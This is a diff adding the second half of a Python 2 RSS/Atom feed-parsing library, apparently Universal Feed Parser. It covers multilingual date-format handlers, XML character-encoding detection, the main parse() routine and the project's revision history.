+    re.compile('(\d{4})-(\d{2})-(\d{2})\s+(\d{2}):(\d{2}):(\d{2})(\.\d+)?')
+def _parse_date_mssql(dateString):
+    '''Parse a string according to the MS SQL date format'''
+    m = _mssql_date_re.match(dateString)
+    if not m: return
+    w3dtfdate = '%(year)s-%(month)s-%(day)sT%(hour)s:%(minute)s:%(second)s%(zonediff)s' % \
+                {'year': m.group(1), 'month': m.group(2), 'day': m.group(3),\
+                 'hour': m.group(4), 'minute': m.group(5), 'second': m.group(6),\
+                 'zonediff': '+09:00'}
+    if _debug: sys.stderr.write('MS SQL date parsed as: %s\n' % w3dtfdate)
+    return _parse_date_w3dtf(w3dtfdate)
+registerDateHandler(_parse_date_mssql)
+
+# Unicode strings for Greek date strings
+_greek_months = \
+  { \
+   u'\u0399\u03b1\u03bd': u'Jan',       # c9e1ed in iso-8859-7
+   u'\u03a6\u03b5\u03b2': u'Feb',       # d6e5e2 in iso-8859-7
+   u'\u039c\u03ac\u03ce': u'Mar',       # ccdcfe in iso-8859-7
+   u'\u039c\u03b1\u03ce': u'Mar',       # cce1fe in iso-8859-7
+   u'\u0391\u03c0\u03c1': u'Apr',       # c1f0f1 in iso-8859-7
+   u'\u039c\u03ac\u03b9': u'May',       # ccdce9 in iso-8859-7
+   u'\u039c\u03b1\u03ca': u'May',       # cce1fa in iso-8859-7
+   u'\u039c\u03b1\u03b9': u'May',       # cce1e9 in iso-8859-7
+   u'\u0399\u03bf\u03cd\u03bd': u'Jun', # c9effded in iso-8859-7
+   u'\u0399\u03bf\u03bd': u'Jun',       # c9efed in iso-8859-7
+   u'\u0399\u03bf\u03cd\u03bb': u'Jul', # c9effdeb in iso-8859-7
+   u'\u0399\u03bf\u03bb': u'Jul',       # c9f9eb in iso-8859-7
+   u'\u0391\u03cd\u03b3': u'Aug',       # c1fde3 in iso-8859-7
+   u'\u0391\u03c5\u03b3': u'Aug',       # c1f5e3 in iso-8859-7
+   u'\u03a3\u03b5\u03c0': u'Sep',       # d3e5f0 in iso-8859-7
+   u'\u039f\u03ba\u03c4': u'Oct',       # cfeaf4 in iso-8859-7
+   u'\u039d\u03bf\u03ad': u'Nov',       # cdefdd in iso-8859-7
+   u'\u039d\u03bf\u03b5': u'Nov',       # cdefe5 in iso-8859-7
+   u'\u0394\u03b5\u03ba': u'Dec',       # c4e5ea in iso-8859-7
+  }
+
+_greek_wdays = \
+  { \
+   u'\u039a\u03c5\u03c1': u'Sun', # caf5f1 in iso-8859-7
+   u'\u0394\u03b5\u03c5': u'Mon', # c4e5f5 in iso-8859-7
+   u'\u03a4\u03c1\u03b9': u'Tue', # d4f1e9 in iso-8859-7
+   u'\u03a4\u03b5\u03c4': u'Wed', # d4e5f4 in iso-8859-7
+   u'\u03a0\u03b5\u03bc': u'Thu', # d0e5ec in iso-8859-7
+   u'\u03a0\u03b1\u03c1': u'Fri', # d0e1f1 in iso-8859-7
+   u'\u03a3\u03b1\u03b2': u'Sat', # d3e1e2 in iso-8859-7   
+  }
+
+_greek_date_format_re = \
+    re.compile(u'([^,]+),\s+(\d{2})\s+([^\s]+)\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})\s+([^\s]+)')
+
+def _parse_date_greek(dateString):
+    '''Parse a string according to a Greek 8-bit date format.'''
+    m = _greek_date_format_re.match(dateString)
+    if not m: return
+    try:
+        wday = _greek_wdays[m.group(1)]
+        month = _greek_months[m.group(3)]
+    except:
+        return
+    rfc822date = '%(wday)s, %(day)s %(month)s %(year)s %(hour)s:%(minute)s:%(second)s %(zonediff)s' % \
+                 {'wday': wday, 'day': m.group(2), 'month': month, 'year': m.group(4),\
+                  'hour': m.group(5), 'minute': m.group(6), 'second': m.group(7),\
+                  'zonediff': m.group(8)}
+    if _debug: sys.stderr.write('Greek date parsed as: %s\n' % rfc822date)
+    return _parse_date_rfc822(rfc822date)
+registerDateHandler(_parse_date_greek)
+
+# Unicode strings for Hungarian date strings
+_hungarian_months = \
+  { \
+    u'janu\u00e1r':   u'01',  # e1 in iso-8859-2
+    u'febru\u00e1ri': u'02',  # e1 in iso-8859-2
+    u'm\u00e1rcius':  u'03',  # e1 in iso-8859-2
+    u'\u00e1prilis':  u'04',  # e1 in iso-8859-2
+    u'm\u00e1ujus':   u'05',  # e1 in iso-8859-2
+    u'j\u00fanius':   u'06',  # fa in iso-8859-2
+    u'j\u00falius':   u'07',  # fa in iso-8859-2
+    u'augusztus':     u'08',
+    u'szeptember':    u'09',
+    u'okt\u00f3ber':  u'10',  # f3 in iso-8859-2
+    u'november':      u'11',
+    u'december':      u'12',
+  }
+
+_hungarian_date_format_re = \
+  re.compile(u'(\d{4})-([^-]+)-(\d{,2})T(\d{,2}):(\d{2})((\+|-)(\d{,2}:\d{2}))')
+
+def _parse_date_hungarian(dateString):
+    '''Parse a string according to a Hungarian 8-bit date format.'''
+    m = _hungarian_date_format_re.match(dateString)
+    if not m: return
+    try:
+        month = _hungarian_months[m.group(2)]
+        day = m.group(3)
+        if len(day) == 1:
+            day = '0' + day
+        hour = m.group(4)
+        if len(hour) == 1:
+            hour = '0' + hour
+    except:
+        return
+    w3dtfdate = '%(year)s-%(month)s-%(day)sT%(hour)s:%(minute)s%(zonediff)s' % \
+                {'year': m.group(1), 'month': month, 'day': day,\
+                 'hour': hour, 'minute': m.group(5),\
+                 'zonediff': m.group(6)}
+    if _debug: sys.stderr.write('Hungarian date parsed as: %s\n' % w3dtfdate)
+    return _parse_date_w3dtf(w3dtfdate)
+registerDateHandler(_parse_date_hungarian)
+
+# W3DTF-style date parsing adapted from PyXML xml.utils.iso8601, written by
+# Drake and licensed under the Python license.  Removed all range checking
+# for month, day, hour, minute, and second, since mktime will normalize
+# these later
+def _parse_date_w3dtf(dateString):
+    def __extract_date(m):
+        year = int(m.group('year'))
+        if year < 100:
+            year = 100 * int(time.gmtime()[0] / 100) + int(year)
+        if year < 1000:
+            return 0, 0, 0
+        julian = m.group('julian')
+        if julian:
+            julian = int(julian)
+            month = julian / 30 + 1
+            day = julian % 30 + 1
+            jday = None
+            while jday != julian:
+                t = time.mktime((year, month, day, 0, 0, 0, 0, 0, 0))
+                jday = time.gmtime(t)[-2]
+                diff = abs(jday - julian)
+                if jday > julian:
+                    if diff < day:
+                        day = day - diff
+                    else:
+                        month = month - 1
+                        day = 31
+                elif jday < julian:
+                    if day + diff < 28:
+                       day = day + diff
+                    else:
+                        month = month + 1
+            return year, month, day
+        month = m.group('month')
+        day = 1
+        if month is None:
+            month = 1
+        else:
+            month = int(month)
+            day = m.group('day')
+            if day:
+                day = int(day)
+            else:
+                day = 1
+        return year, month, day
+
+    def __extract_time(m):
+        if not m:
+            return 0, 0, 0
+        hours = m.group('hours')
+        if not hours:
+            return 0, 0, 0
+        hours = int(hours)
+        minutes = int(m.group('minutes'))
+        seconds = m.group('seconds')
+        if seconds:
+            seconds = int(seconds)
+        else:
+            seconds = 0
+        return hours, minutes, seconds
+
+    def __extract_tzd(m):
+        '''Return the Time Zone Designator as an offset in seconds from UTC.'''
+        if not m:
+            return 0
+        tzd = m.group('tzd')
+        if not tzd:
+            return 0
+        if tzd == 'Z':
+            return 0
+        hours = int(m.group('tzdhours'))
+        minutes = m.group('tzdminutes')
+        if minutes:
+            minutes = int(minutes)
+        else:
+            minutes = 0
+        offset = (hours*60 + minutes) * 60
+        if tzd[0] == '+':
+            return -offset
+        return offset
+
+    __date_re = ('(?P<year>\d\d\d\d)'
+                 '(?:(?P<dsep>-|)'
+                 '(?:(?P<julian>\d\d\d)'
+                 '|(?P<month>\d\d)(?:(?P=dsep)(?P<day>\d\d))?))?')
+    __tzd_re = '(?P<tzd>[-+](?P<tzdhours>\d\d)(?::?(?P<tzdminutes>\d\d))|Z)'
+    __tzd_rx = re.compile(__tzd_re)
+    __time_re = ('(?P<hours>\d\d)(?P<tsep>:|)(?P<minutes>\d\d)'
+                 '(?:(?P=tsep)(?P<seconds>\d\d(?:[.,]\d+)?))?'
+                 + __tzd_re)
+    __datetime_re = '%s(?:T%s)?' % (__date_re, __time_re)
+    __datetime_rx = re.compile(__datetime_re)
+    m = __datetime_rx.match(dateString)
+    if (m is None) or (m.group() != dateString): return
+    gmt = __extract_date(m) + __extract_time(m) + (0, 0, 0)
+    if gmt[0] == 0: return
+    return time.gmtime(time.mktime(gmt) + __extract_tzd(m) - time.timezone)
+registerDateHandler(_parse_date_w3dtf)
+
+def _parse_date_rfc822(dateString):
+    '''Parse an RFC822, RFC1123, RFC2822, or asctime-style date'''
+    data = dateString.split()
+    if data[0][-1] in (',', '.') or data[0].lower() in rfc822._daynames:
+        del data[0]
+    if len(data) == 4:
+        s = data[3]
+        i = s.find('+')
+        if i > 0:
+            data[3:] = [s[:i], s[i+1:]]
+        else:
+            data.append('')
+        dateString = " ".join(data)
+    if len(data) < 5:
+        dateString += ' 00:00:00 GMT'
+    tm = rfc822.parsedate_tz(dateString)
+    if tm:
+        return time.gmtime(rfc822.mktime_tz(tm))
+# rfc822.py defines several time zones, but we define some extra ones.
+# 'ET' is equivalent to 'EST', etc.
+_additional_timezones = {'AT': -400, 'ET': -500, 'CT': -600, 'MT': -700, 'PT': -800}
+rfc822._timezones.update(_additional_timezones)
+registerDateHandler(_parse_date_rfc822)    
+
+def _parse_date(dateString):
+    '''Parses a variety of date formats into a 9-tuple in GMT'''
+    for handler in _date_handlers:
+        try:
+            date9tuple = handler(dateString)
+            if not date9tuple: continue
+            if len(date9tuple) != 9:
+                if _debug: sys.stderr.write('date handler function must return 9-tuple\n')
+                raise ValueError
+            map(int, date9tuple)
+            return date9tuple
+        except Exception, e:
+            if _debug: sys.stderr.write('%s raised %s\n' % (handler.__name__, repr(e)))
+            pass
+    return None
+
+def _getCharacterEncoding(http_headers, xml_data):
+    '''Get the character encoding of the XML document
+
+    http_headers is a dictionary
+    xml_data is a raw string (not Unicode)
+    
+    This is so much trickier than it sounds, it's not even funny.
+    According to RFC 3023 ('XML Media Types'), if the HTTP Content-Type
+    is application/xml, application/*+xml,
+    application/xml-external-parsed-entity, or application/xml-dtd,
+    the encoding given in the charset parameter of the HTTP Content-Type
+    takes precedence over the encoding given in the XML prefix within the
+    document, and defaults to 'utf-8' if neither are specified.  But, if
+    the HTTP Content-Type is text/xml, text/*+xml, or
+    text/xml-external-parsed-entity, the encoding given in the XML prefix
+    within the document is ALWAYS IGNORED and only the encoding given in
+    the charset parameter of the HTTP Content-Type header should be
+    respected, and it defaults to 'us-ascii' if not specified.
+
+    Furthermore, discussion on the atom-syntax mailing list with the
+    author of RFC 3023 leads me to the conclusion that any document
+    served with a Content-Type of text/* and no charset parameter
+    must be treated as us-ascii.  (We now do this.)  And also that it
+    must always be flagged as non-well-formed.  (We now do this too.)
+    
+    If Content-Type is unspecified (input was local file or non-HTTP source)
+    or unrecognized (server just got it totally wrong), then go by the
+    encoding given in the XML prefix of the document and default to
+    'iso-8859-1' as per the HTTP specification (RFC 2616).
+    
+    Then, assuming we didn't find a character encoding in the HTTP headers
+    (and the HTTP Content-type allowed us to look in the body), we need
+    to sniff the first few bytes of the XML data and try to determine
+    whether the encoding is ASCII-compatible.  Section F of the XML
+    specification shows the way here:
+    http://www.w3.org/TR/REC-xml/#sec-guessing-no-ext-info
+
+    If the sniffed encoding is not ASCII-compatible, we need to make it
+    ASCII compatible so that we can sniff further into the XML declaration
+    to find the encoding attribute, which will tell us the true encoding.
+
+    Of course, none of this guarantees that we will be able to parse the
+    feed in the declared character encoding (assuming it was declared
+    correctly, which many are not).  CJKCodecs and iconv_codec help a lot;
+    you should definitely install them if you can.
+    http://cjkpython.i18n.org/
+    '''
+
+    def _parseHTTPContentType(content_type):
+        '''takes HTTP Content-Type header and returns (content type, charset)
+
+        If no charset is specified, returns (content type, '')
+        If no content type is specified, returns ('', '')
+        Both return parameters are guaranteed to be lowercase strings
+        '''
+        content_type = content_type or ''
+        content_type, params = cgi.parse_header(content_type)
+        return content_type, params.get('charset', '').replace("'", '')
+
+    sniffed_xml_encoding = ''
+    xml_encoding = ''
+    true_encoding = ''
+    http_content_type, http_encoding = _parseHTTPContentType(http_headers.get('content-type'))
+    # Must sniff for non-ASCII-compatible character encodings before
+    # searching for XML declaration.  This heuristic is defined in
+    # section F of the XML specification:
+    # http://www.w3.org/TR/REC-xml/#sec-guessing-no-ext-info
+    try:
+        if xml_data[:4] == '\x4c\x6f\xa7\x94':
+            # EBCDIC
+            xml_data = _ebcdic_to_ascii(xml_data)
+        elif xml_data[:4] == '\x00\x3c\x00\x3f':
+            # UTF-16BE
+            sniffed_xml_encoding = 'utf-16be'
+            xml_data = unicode(xml_data, 'utf-16be').encode('utf-8')
+        elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') and (xml_data[2:4] != '\x00\x00'):
+            # UTF-16BE with BOM
+            sniffed_xml_encoding = 'utf-16be'
+            xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8')
+        elif xml_data[:4] == '\x3c\x00\x3f\x00':
+            # UTF-16LE
+            sniffed_xml_encoding = 'utf-16le'
+            xml_data = unicode(xml_data, 'utf-16le').encode('utf-8')
+        elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and (xml_data[2:4] != '\x00\x00'):
+            # UTF-16LE with BOM
+            sniffed_xml_encoding = 'utf-16le'
+            xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8')
+        elif xml_data[:4] == '\x00\x00\x00\x3c':
+            # UTF-32BE
+            sniffed_xml_encoding = 'utf-32be'
+            xml_data = unicode(xml_data, 'utf-32be').encode('utf-8')
+        elif xml_data[:4] == '\x3c\x00\x00\x00':
+            # UTF-32LE
+            sniffed_xml_encoding = 'utf-32le'
+            xml_data = unicode(xml_data, 'utf-32le').encode('utf-8')
+        elif xml_data[:4] == '\x00\x00\xfe\xff':
+            # UTF-32BE with BOM
+            sniffed_xml_encoding = 'utf-32be'
+            xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8')
+        elif xml_data[:4] == '\xff\xfe\x00\x00':
+            # UTF-32LE with BOM
+            sniffed_xml_encoding = 'utf-32le'
+            xml_data = unicode(xml_data[4:], 'utf-32le').encode('utf-8')
+        elif xml_data[:3] == '\xef\xbb\xbf':
+            # UTF-8 with BOM
+            sniffed_xml_encoding = 'utf-8'
+            xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8')
+        else:
+            # ASCII-compatible
+            pass
+        xml_encoding_match = re.compile('^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data)
+    except:
+        xml_encoding_match = None
+    if xml_encoding_match:
+        xml_encoding = xml_encoding_match.groups()[0].lower()
+        if sniffed_xml_encoding and (xml_encoding in ('iso-10646-ucs-2', 'ucs-2', 'csunicode', 'iso-10646-ucs-4', 'ucs-4', 'csucs4', 'utf-16', 'utf-32', 'utf_16', 'utf_32', 'utf16', 'u16')):
+            xml_encoding = sniffed_xml_encoding
+    acceptable_content_type = 0
+    application_content_types = ('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity')
+    text_content_types = ('text/xml', 'text/xml-external-parsed-entity')
+    if (http_content_type in application_content_types) or \
+       (http_content_type.startswith('application/') and http_content_type.endswith('+xml')):
+        acceptable_content_type = 1
+        true_encoding = http_encoding or xml_encoding or 'utf-8'
+    elif (http_content_type in text_content_types) or \
+         (http_content_type.startswith('text/')) and http_content_type.endswith('+xml'):
+        acceptable_content_type = 1
+        true_encoding = http_encoding or 'us-ascii'
+    elif http_content_type.startswith('text/'):
+        true_encoding = http_encoding or 'us-ascii'
+    elif http_headers and (not http_headers.has_key('content-type')):
+        true_encoding = xml_encoding or 'iso-8859-1'
+    else:
+        true_encoding = xml_encoding or 'utf-8'
+    return true_encoding, http_encoding, xml_encoding, sniffed_xml_encoding, acceptable_content_type
+    
+def _toUTF8(data, encoding):
+    '''Changes an XML data stream on the fly to specify a new encoding
+
+    data is a raw sequence of bytes (not Unicode) that is presumed to be in %encoding already
+    encoding is a string recognized by encodings.aliases
+    '''
+    if _debug: sys.stderr.write('entering _toUTF8, trying encoding %s\n' % encoding)
+    # strip Byte Order Mark (if present)
+    if (len(data) >= 4) and (data[:2] == '\xfe\xff') and (data[2:4] != '\x00\x00'):
+        if _debug:
+            sys.stderr.write('stripping BOM\n')
+            if encoding != 'utf-16be':
+                sys.stderr.write('trying utf-16be instead\n')
+        encoding = 'utf-16be'
+        data = data[2:]
+    elif (len(data) >= 4) and (data[:2] == '\xff\xfe') and (data[2:4] != '\x00\x00'):
+        if _debug:
+            sys.stderr.write('stripping BOM\n')
+            if encoding != 'utf-16le':
+                sys.stderr.write('trying utf-16le instead\n')
+        encoding = 'utf-16le'
+        data = data[2:]
+    elif data[:3] == '\xef\xbb\xbf':
+        if _debug:
+            sys.stderr.write('stripping BOM\n')
+            if encoding != 'utf-8':
+                sys.stderr.write('trying utf-8 instead\n')
+        encoding = 'utf-8'
+        data = data[3:]
+    elif data[:4] == '\x00\x00\xfe\xff':
+        if _debug:
+            sys.stderr.write('stripping BOM\n')
+            if encoding != 'utf-32be':
+                sys.stderr.write('trying utf-32be instead\n')
+        encoding = 'utf-32be'
+        data = data[4:]
+    elif data[:4] == '\xff\xfe\x00\x00':
+        if _debug:
+            sys.stderr.write('stripping BOM\n')
+            if encoding != 'utf-32le':
+                sys.stderr.write('trying utf-32le instead\n')
+        encoding = 'utf-32le'
+        data = data[4:]
+    newdata = unicode(data, encoding)
+    if _debug: sys.stderr.write('successfully converted %s data to unicode\n' % encoding)
+    declmatch = re.compile('^<\?xml[^>]*?>')
+    newdecl = '''<?xml version='1.0' encoding='utf-8'?>'''
+    if declmatch.search(newdata):
+        newdata = declmatch.sub(newdecl, newdata)
+    else:
+        newdata = newdecl + u'\n' + newdata
+    return newdata.encode('utf-8')
+
+def _stripDoctype(data):
+    '''Strips DOCTYPE from XML document, returns (rss_version, stripped_data)
+
+    rss_version may be 'rss091n' or None
+    stripped_data is the same XML document, minus the DOCTYPE
+    '''
+    entity_pattern = re.compile(r'<!ENTITY([^>]*?)>', re.MULTILINE)
+    data = entity_pattern.sub('', data)
+    doctype_pattern = re.compile(r'<!DOCTYPE([^>]*?)>', re.MULTILINE)
+    doctype_results = doctype_pattern.findall(data)
+    doctype = doctype_results and doctype_results[0] or ''
+    if doctype.lower().count('netscape'):
+        version = 'rss091n'
+    else:
+        version = None
+    data = doctype_pattern.sub('', data)
+    return version, data
+    
+def parse(url_file_stream_or_string, etag=None, modified=None, agent=None, referrer=None, handlers=[]):
+    '''Parse a feed from a URL, file, stream, or string'''
+    result = FeedParserDict()
+    result['feed'] = FeedParserDict()
+    result['entries'] = []
+    if _XML_AVAILABLE:
+        result['bozo'] = 0
+    if type(handlers) == types.InstanceType:
+        handlers = [handlers]
+    try:
+        f = _open_resource(url_file_stream_or_string, etag, modified, agent, referrer, handlers)
+        data = f.read()
+    except Exception, e:
+        result['bozo'] = 1
+        result['bozo_exception'] = e
+        data = ''
+        f = None
+
+    # if feed is gzip-compressed, decompress it
+    if f and data and hasattr(f, 'headers'):
+        if gzip and f.headers.get('content-encoding', '') == 'gzip':
+            try:
+                data = gzip.GzipFile(fileobj=_StringIO(data)).read()
+            except Exception, e:
+                # Some feeds claim to be gzipped but they're not, so
+                # we get garbage.  Ideally, we should re-request the
+                # feed without the 'Accept-encoding: gzip' header,
+                # but we don't.
+                result['bozo'] = 1
+                result['bozo_exception'] = e
+                data = ''
+        elif zlib and f.headers.get('content-encoding', '') == 'deflate':
+            try:
+                data = zlib.decompress(data, -zlib.MAX_WBITS)
+            except Exception, e:
+                result['bozo'] = 1
+                result['bozo_exception'] = e
+                data = ''
+
+    # save HTTP headers
+    if hasattr(f, 'info'):
+        info = f.info()
+        result['etag'] = info.getheader('ETag')
+        last_modified = info.getheader('Last-Modified')
+        if last_modified:
+            result['modified'] = _parse_date(last_modified)
+    if hasattr(f, 'url'):
+        result['href'] = f.url
+        result['status'] = 200
+    if hasattr(f, 'status'):
+        result['status'] = f.status
+    if hasattr(f, 'headers'):
+        result['headers'] = f.headers.dict
+    if hasattr(f, 'close'):
+        f.close()
+
+    # there are four encodings to keep track of:
+    # - http_encoding is the encoding declared in the Content-Type HTTP header
+    # - xml_encoding is the encoding declared in the <?xml declaration
+    # - sniffed_encoding is the encoding sniffed from the first 4 bytes of the XML data
+    # - result['encoding'] is the actual encoding, as per RFC 3023 and a variety of other conflicting specifications
+    http_headers = result.get('headers', {})
+    result['encoding'], http_encoding, xml_encoding, sniffed_xml_encoding, acceptable_content_type = \
+        _getCharacterEncoding(http_headers, data)
+    if http_headers and (not acceptable_content_type):
+        if http_headers.has_key('content-type'):
+            bozo_message = '%s is not an XML media type' % http_headers['content-type']
+        else:
+            bozo_message = 'no Content-type specified'
+        result['bozo'] = 1
+        result['bozo_exception'] = NonXMLContentType(bozo_message)
+        
+    result['version'], data = _stripDoctype(data)
+
+    baseuri = http_headers.get('content-location', result.get('href'))
+    baselang = http_headers.get('content-language', None)
+
+    # if server sent 304, we're done
+    if result.get('status', 0) == 304:
+        result['version'] = ''
+        result['debug_message'] = 'The feed has not changed since you last checked, ' + \
+            'so the server sent no data.  This is a feature, not a bug!'
+        return result
+
+    # if there was a problem downloading, we're done
+    if not data:
+        return result
+
+    # determine character encoding
+    use_strict_parser = 0
+    known_encoding = 0
+    tried_encodings = []
+    # try: HTTP encoding, declared XML encoding, encoding sniffed from BOM
+    for proposed_encoding in (result['encoding'], xml_encoding, sniffed_xml_encoding):
+        if not proposed_encoding: continue
+        if proposed_encoding in tried_encodings: continue
+        tried_encodings.append(proposed_encoding)
+        try:
+            data = _toUTF8(data, proposed_encoding)
+            known_encoding = use_strict_parser = 1
+            break
+        except:
+            pass
+    # if no luck and we have auto-detection library, try that
+    if (not known_encoding) and chardet:
+        try:
+            proposed_encoding = chardet.detect(data)['encoding']
+            if proposed_encoding and (proposed_encoding not in tried_encodings):
+                tried_encodings.append(proposed_encoding)
+                data = _toUTF8(data, proposed_encoding)
+                known_encoding = use_strict_parser = 1
+        except:
+            pass
+    # if still no luck and we haven't tried utf-8 yet, try that
+    if (not known_encoding) and ('utf-8' not in tried_encodings):
+        try:
+            proposed_encoding = 'utf-8'
+            tried_encodings.append(proposed_encoding)
+            data = _toUTF8(data, proposed_encoding)
+            known_encoding = use_strict_parser = 1
+        except:
+            pass
+    # if still no luck and we haven't tried windows-1252 yet, try that
+    if (not known_encoding) and ('windows-1252' not in tried_encodings):
+        try:
+            proposed_encoding = 'windows-1252'
+            tried_encodings.append(proposed_encoding)
+            data = _toUTF8(data, proposed_encoding)
+            known_encoding = use_strict_parser = 1
+        except:
+            pass
+    # if still no luck, give up
+    if not known_encoding:
+        result['bozo'] = 1
+        result['bozo_exception'] = CharacterEncodingUnknown( \
+            'document encoding unknown, I tried ' + \
+            '%s, %s, utf-8, and windows-1252 but nothing worked' % \
+            (result['encoding'], xml_encoding))
+        result['encoding'] = ''
+    elif proposed_encoding != result['encoding']:
+        result['bozo'] = 1
+        result['bozo_exception'] = CharacterEncodingOverride( \
+            'documented declared as %s, but parsed as %s' % \
+            (result['encoding'], proposed_encoding))
+        result['encoding'] = proposed_encoding
+
+    if not _XML_AVAILABLE:
+        use_strict_parser = 0
+    if use_strict_parser:
+        # initialize the SAX parser
+        feedparser = _StrictFeedParser(baseuri, baselang, 'utf-8')
+        saxparser = xml.sax.make_parser(PREFERRED_XML_PARSERS)
+        saxparser.setFeature(xml.sax.handler.feature_namespaces, 1)
+        saxparser.setContentHandler(feedparser)
+        saxparser.setErrorHandler(feedparser)
+        source = xml.sax.xmlreader.InputSource()
+        source.setByteStream(_StringIO(data))
+        if hasattr(saxparser, '_ns_stack'):
+            # work around bug in built-in SAX parser (doesn't recognize xml: namespace)
+            # PyXML doesn't have this problem, and it doesn't have _ns_stack either
+            saxparser._ns_stack.append({'http://www.w3.org/XML/1998/namespace':'xml'})
+        try:
+            saxparser.parse(source)
+        except Exception, e:
+            if _debug:
+                import traceback
+                traceback.print_stack()
+                traceback.print_exc()
+                sys.stderr.write('xml parsing failed\n')
+            result['bozo'] = 1
+            result['bozo_exception'] = feedparser.exc or e
+            use_strict_parser = 0
+    if not use_strict_parser:
+        feedparser = _LooseFeedParser(baseuri, baselang, known_encoding and 'utf-8' or '')
+        feedparser.feed(data)
+    result['feed'] = feedparser.feeddata
+    result['entries'] = feedparser.entries
+    result['version'] = result['version'] or feedparser.version
+    result['namespaces'] = feedparser.namespacesInUse
+    return result
+
+if __name__ == '__main__':
+    if not sys.argv[1:]:
+        print __doc__
+        sys.exit(0)
+    else:
+        urls = sys.argv[1:]
+    zopeCompatibilityHack()
+    from pprint import pprint
+    for url in urls:
+        print url
+        print
+        result = parse(url)
+        pprint(result)
+        print
+
+#REVISION HISTORY
+#1.0 - 9/27/2002 - MAP - fixed namespace processing on prefixed RSS 2.0 elements,
+#  added Simon Fell's test suite
+#1.1 - 9/29/2002 - MAP - fixed infinite loop on incomplete CDATA sections
+#2.0 - 10/19/2002
+#  JD - use inchannel to watch out for image and textinput elements which can
+#  also contain title, link, and description elements
+#  JD - check for isPermaLink='false' attribute on guid elements
+#  JD - replaced openAnything with open_resource supporting ETag and
+#  If-Modified-Since request headers
+#  JD - parse now accepts etag, modified, agent, and referrer optional
+#  arguments
+#  JD - modified parse to return a dictionary instead of a tuple so that any
+#  etag or modified information can be returned and cached by the caller
+#2.0.1 - 10/21/2002 - MAP - changed parse() so that if we don't get anything
+#  because of etag/modified, return the old etag/modified to the caller to
+#  indicate why nothing is being returned
+#2.0.2 - 10/21/2002 - JB - added the inchannel to the if statement, otherwise its
+#  useless.  Fixes the problem JD was addressing by adding it.
+#2.1 - 11/14/2002 - MAP - added gzip support
+#2.2 - 1/27/2003 - MAP - added attribute support, admin:generatorAgent.
+#  start_admingeneratoragent is an example of how to handle elements with
+#  only attributes, no content.
+#2.3 - 6/11/2003 - MAP - added USER_AGENT for default (if caller doesn't specify);
+#  also, make sure we send the User-Agent even if urllib2 isn't available.
+#  Match any variation of backend.userland.com/rss namespace.
+#2.3.1 - 6/12/2003 - MAP - if item has both link and guid, return both as-is.
+#2.4 - 7/9/2003 - MAP - added preliminary Pie/Atom/Echo support based on Sam Ruby's
+#  snapshot of July 1 <http://www.intertwingly.net/blog/1506.html>; changed
+#  project name
+#2.5 - 7/25/2003 - MAP - changed to Python license (all contributors agree);
+#  removed unnecessary urllib code -- urllib2 should always be available anyway;
+#  return actual url, status, and full HTTP headers (as result['url'],
+#  result['status'], and result['headers']) if parsing a remote feed over HTTP --
+#  this should pass all the HTTP tests at <http://diveintomark.org/tests/client/http/>;
+#  added the latest namespace-of-the-week for RSS 2.0
+#2.5.1 - 7/26/2003 - RMK - clear opener.addheaders so we only send our custom
+#  User-Agent (otherwise urllib2 sends two, which confuses some servers)
+#2.5.2 - 7/28/2003 - MAP - entity-decode inline xml properly; added support for
+#  inline <xhtml:body> and <xhtml:div> as used in some RSS 2.0 feeds
+#2.5.3 - 8/6/2003 - TvdV - patch to track whether we're inside an image or
+#  textInput, and also to return the character encoding (if specified)
+#2.6 - 1/1/2004 - MAP - dc:author support (MarekK); fixed bug tracking
+#  nested divs within content (JohnD); fixed missing sys import (JohanS);
+#  fixed regular expression to capture XML character encoding (Andrei);
+#  added support for Atom 0.3-style links; fixed bug with textInput tracking;
+#  added support for cloud (MartijnP); added support for multiple
+#  category/dc:subject (MartijnP); normalize content model: 'description' gets
+#  description (which can come from description, summary, or full content if no
+#  description), 'content' gets dict of base/language/type/value (which can come
+#  from content:encoded, xhtml:body, content, or fullitem);
+#  fixed bug matching arbitrary Userland namespaces; added xml:base and xml:lang
+#  tracking; fixed bug tracking unknown tags; fixed bug tracking content when
+#  <content> element is not in default namespace (like Pocketsoap feed);
+#  resolve relative URLs in link, guid, docs, url, comments, wfw:comment,
+#  wfw:commentRSS; resolve relative URLs within embedded HTML markup in
+#  description, xhtml:body, content, content:encoded, title, subtitle,
+#  summary, info, tagline, and copyright; added support for pingback and
+#  trackback namespaces
+#2.7 - 1/5/2004 - MAP - really added support for trackback and pingback
+#  namespaces, as opposed to 2.6 when I said I did but didn't really;
+#  sanitize HTML markup within some elements; added mxTidy support (if
+#  installed) to tidy HTML markup within some elements; fixed indentation
+#  bug in _parse_date (FazalM); use socket.setdefaulttimeout if available
+#  (FazalM); universal date parsing and normalization (FazalM): 'created', modified',
+#  'issued' are parsed into 9-tuple date format and stored in 'created_parsed',
+#  'modified_parsed', and 'issued_parsed'; 'date' is duplicated in 'modified'
+#  and vice-versa; 'date_parsed' is duplicated in 'modified_parsed' and vice-versa
+#2.7.1 - 1/9/2004 - MAP - fixed bug handling &quot; and &apos;.  fixed memory
+#  leak not closing url opener (JohnD); added dc:publisher support (MarekK);
+#  added admin:errorReportsTo support (MarekK); Python 2.1 dict support (MarekK)
+#2.7.4 - 1/14/2004 - MAP - added workaround for improperly formed <br/> tags in
+#  encoded HTML (skadz); fixed unicode handling in normalize_attrs (ChrisL);
+#  fixed relative URI processing for guid (skadz); added ICBM support; added
+#  base64 support
+#2.7.5 - 1/15/2004 - MAP - added workaround for malformed DOCTYPE (seen on many
+#  blogspot.com sites); added _debug variable
+#2.7.6 - 1/16/2004 - MAP - fixed bug with StringIO importing
+#3.0b3 - 1/23/2004 - MAP - parse entire feed with real XML parser (if available);
+#  added several new supported namespaces; fixed bug tracking naked markup in
+#  description; added support for enclosure; added support for source; re-added
+#  support for cloud which got dropped somehow; added support for expirationDate
+#3.0b4 - 1/26/2004 - MAP - fixed xml:lang inheritance; fixed multiple bugs tracking
+#  xml:base URI, one for documents that don't define one explicitly and one for
+#  documents that define an outer and an inner xml:base that goes out of scope
+#  before the end of the document
